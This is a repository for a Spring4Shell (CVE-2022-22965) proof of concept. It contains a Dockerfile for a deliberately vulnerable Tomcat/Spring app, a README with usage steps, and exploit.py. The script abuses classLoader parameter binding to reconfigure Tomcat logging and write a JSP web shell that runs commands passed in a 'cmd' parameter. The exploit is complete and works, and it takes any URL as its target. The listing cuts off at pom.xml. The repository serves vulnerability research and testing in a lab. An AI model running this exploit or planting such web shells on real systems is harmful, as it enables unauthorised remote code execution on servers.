├── .gitignore
├── Dockerfile
├── README.md
├── exploit.py
├── pom.xml
├── screenshots
├── RCE.png
├── runexploit_2.png
└── webpage.png
└── src
├── main
├── java
│ └── com
│ │ └── reznok
│ │ └── helloworld
│ │ ├── Greeting.java
│ │ ├── HelloController.java
│ │ └── HelloworldApplication.java
└── resources
│ ├── application.properties
│ └── templates
│ └── hello.html
└── test
└── java
└── com
└── reznok
└── helloworld
└── HelloworldApplicationTests.java
/.gitignore:
--------------------------------------------------------------------------------
1 | HELP.md
2 | target/
3 | !.mvn/wrapper/maven-wrapper.jar
4 | !**/src/main/**/target/
5 | !**/src/test/**/target/
6 |
7 | ### STS ###
8 | .apt_generated
9 | .classpath
10 | .factorypath
11 | .project
12 | .settings
13 | .springBeans
14 | .sts4-cache
15 |
16 | ### IntelliJ IDEA ###
17 | .idea
18 | *.iws
19 | *.iml
20 | *.ipr
21 |
22 | ### NetBeans ###
23 | /nbproject/private/
24 | /nbbuild/
25 | /dist/
26 | /nbdist/
27 | /.nb-gradle/
28 | build/
29 | !**/src/main/**/build/
30 | !**/src/test/**/build/
31 |
32 | ### VS Code ###
33 | .vscode/
34 |
--------------------------------------------------------------------------------
/Dockerfile:
--------------------------------------------------------------------------------
1 | # Pin our tomcat version to something that has not been updated to remove the vulnerability
2 | # https://hub.docker.com/layers/tomcat/library/tomcat/9.0.59-jdk11/images/sha256-383a062a98c70924fb1b1da391a054021b6448f0aa48860ae02f786aa5d4e2ad?context=explore
3 | FROM lunasec/tomcat-9.0.59-jdk11
4 |
5 | ADD src/ /helloworld/src
6 | ADD pom.xml /helloworld
7 |
8 | # Build spring app
9 | RUN apt update && apt install maven -y
10 | WORKDIR /helloworld/
11 | RUN mvn clean package
12 |
13 | # Deploy to tomcat
14 | RUN mv target/helloworld.war /usr/local/tomcat/webapps/
15 |
16 | EXPOSE 8080
17 | CMD ["catalina.sh", "run"]
18 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Spring4Shell PoC Application
2 |
3 | This is a dockerized application that is vulnerable to the Spring4Shell vulnerability (CVE-2022-22965). Full Java source for the war is provided and modifiable, the war will get re-built whenever the docker image is built. The built WAR will then be loaded by Tomcat. There is nothing special about this application, it's a simple hello world that's based off [Spring tutorials](https://spring.io/guides/gs/handling-form-submission/).
4 |
5 |
6 | Details: https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities
7 |
8 | ## Requirements
9 |
10 | 1. Docker
11 | 2. Python3 + requests library
12 |
13 | ## Instructions
14 |
15 | 1. Clone the repository
16 | 2. Build and run the container: `docker build . -t spring4shell && docker run -p 8080:8080 spring4shell`
17 | 3. App should now be available at http://localhost:8080/helloworld/greeting
18 |
19 | 
20 |
21 | 4. Run the exploit.py script:
22 | `python exploit.py --url "http://localhost:8080/helloworld/greeting"`
23 |
24 | 
25 |
26 | 5. Visit the created webshell! Modify the `cmd` GET parameter for your commands. (`http://localhost:8080/shell.jsp` by default)
27 |
28 | 
29 |
30 |
31 |
32 | ## Notes
33 |
34 | **Fixed!** ~~As of this writing, the container (possibly just Tomcat) must be restarted between exploitations. I'm actively trying to resolve this.~~
35 |
36 |
37 | Re-running the exploit will create an extra artifact file of {old_filename}_.jsp.
38 |
39 | PRs/DMs [@Rezn0k](https://twitter.com/rezn0k) are welcome for improvements!
40 |
41 | ## Credits
42 |
43 | - [@esheavyind](https://twitter.com/esheavyind) for help on building a PoC. Check out their writeup at: https://gist.github.com/esell/c9731a7e2c5404af7716a6810dc33e1a
44 | - [@LunaSecIO](https://twitter.com/LunaSecIO) for improving the documentation and exploit
45 | - [@rwincey](https://twitter.com/rwincey) for making the exploit replayable without requiring a Tomcat restart
46 |
--------------------------------------------------------------------------------
/exploit.py:
--------------------------------------------------------------------------------
1 | # Author: @Rezn0k
2 | # Based off the work of p1n93r
3 |
4 | import requests
5 | import argparse
6 | from urllib.parse import urlparse
7 | import time
8 |
9 | # Set to bypass errors if the target site has SSL issues
10 | requests.packages.urllib3.disable_warnings()
11 |
12 | post_headers = {
13 | "Content-Type": "application/x-www-form-urlencoded"
14 | }
15 |
16 | get_headers = {
17 | "prefix": "<%",
18 | "suffix": "%>//",
19 | # This may seem strange, but this seems to be needed to bypass some check that looks for "Runtime" in the log_pattern
20 | "c": "Runtime",
21 | }
22 |
23 |
24 | def run_exploit(url, directory, filename):
25 | log_pattern = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \
26 | f"java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter" \
27 | f"(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B" \
28 | f"%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"
29 |
30 | log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"
31 | log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}"
32 | log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}"
33 | log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
34 |
35 | exp_data = "&".join([log_pattern, log_file_suffix, log_file_dir, log_file_prefix, log_file_date_format])
36 |
37 | # Setting and unsetting the fileDateFormat field allows for executing the exploit multiple times
38 | # If re-running the exploit, this will create an artifact of {old_file_name}_.jsp
39 | file_date_data = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_"
40 | print("[*] Resetting Log Variables.")
41 | ret = requests.post(url, headers=post_headers, data=file_date_data, verify=False)
42 | print("[*] Response code: %d" % ret.status_code)
43 |
44 | # Change the tomcat log location variables
45 | print("[*] Modifying Log Configurations")
46 | ret = requests.post(url, headers=post_headers, data=exp_data, verify=False)
47 | print("[*] Response code: %d" % ret.status_code)
48 |
49 | # Changes take some time to populate on tomcat
50 | time.sleep(3)
51 |
52 | # Send the packet that writes the web shell
53 | ret = requests.get(url, headers=get_headers, verify=False)
54 | print("[*] Response Code: %d" % ret.status_code)
55 |
56 | time.sleep(1)
57 |
58 | # Reset the pattern to prevent future writes into the file
59 | pattern_data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern="
60 | print("[*] Resetting Log Variables.")
61 | ret = requests.post(url, headers=post_headers, data=pattern_data, verify=False)
62 | print("[*] Response code: %d" % ret.status_code)
63 |
64 |
65 | def main():
66 | parser = argparse.ArgumentParser(description='Spring Core RCE')
67 | parser.add_argument('--url', help='target url', required=True)
68 | parser.add_argument('--file', help='File to write to [no extension]', required=False, default="shell")
69 | parser.add_argument('--dir', help='Directory to write to. Suggest using "webapps/[appname]" of target app',
70 | required=False, default="webapps/ROOT")
71 |
72 | file_arg = parser.parse_args().file
73 | dir_arg = parser.parse_args().dir
74 | url_arg = parser.parse_args().url
75 |
76 | filename = file_arg.replace(".jsp", "")
77 |
78 | if url_arg is None:
79 | print("Must pass an option for --url")
80 | return
81 |
82 | try:
83 | run_exploit(url_arg, dir_arg, filename)
84 | print("[+] Exploit completed")
85 | print("[+] Check your target for a shell")
86 | print("[+] File: " + filename + ".jsp")
87 |
88 | if dir_arg:
89 | location = urlparse(url_arg).scheme + "://" + urlparse(url_arg).netloc + "/" + filename + ".jsp"
90 | else:
91 | location = f"Unknown. Custom directory used. (try app/{filename}.jsp?cmd=id"
92 | print(f"[+] Shell should be at: {location}?cmd=id")
93 | except Exception as e:
94 | print(e)
95 |
96 |
97 | if __name__ == '__main__':
98 | main()
99 |
--------------------------------------------------------------------------------
/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |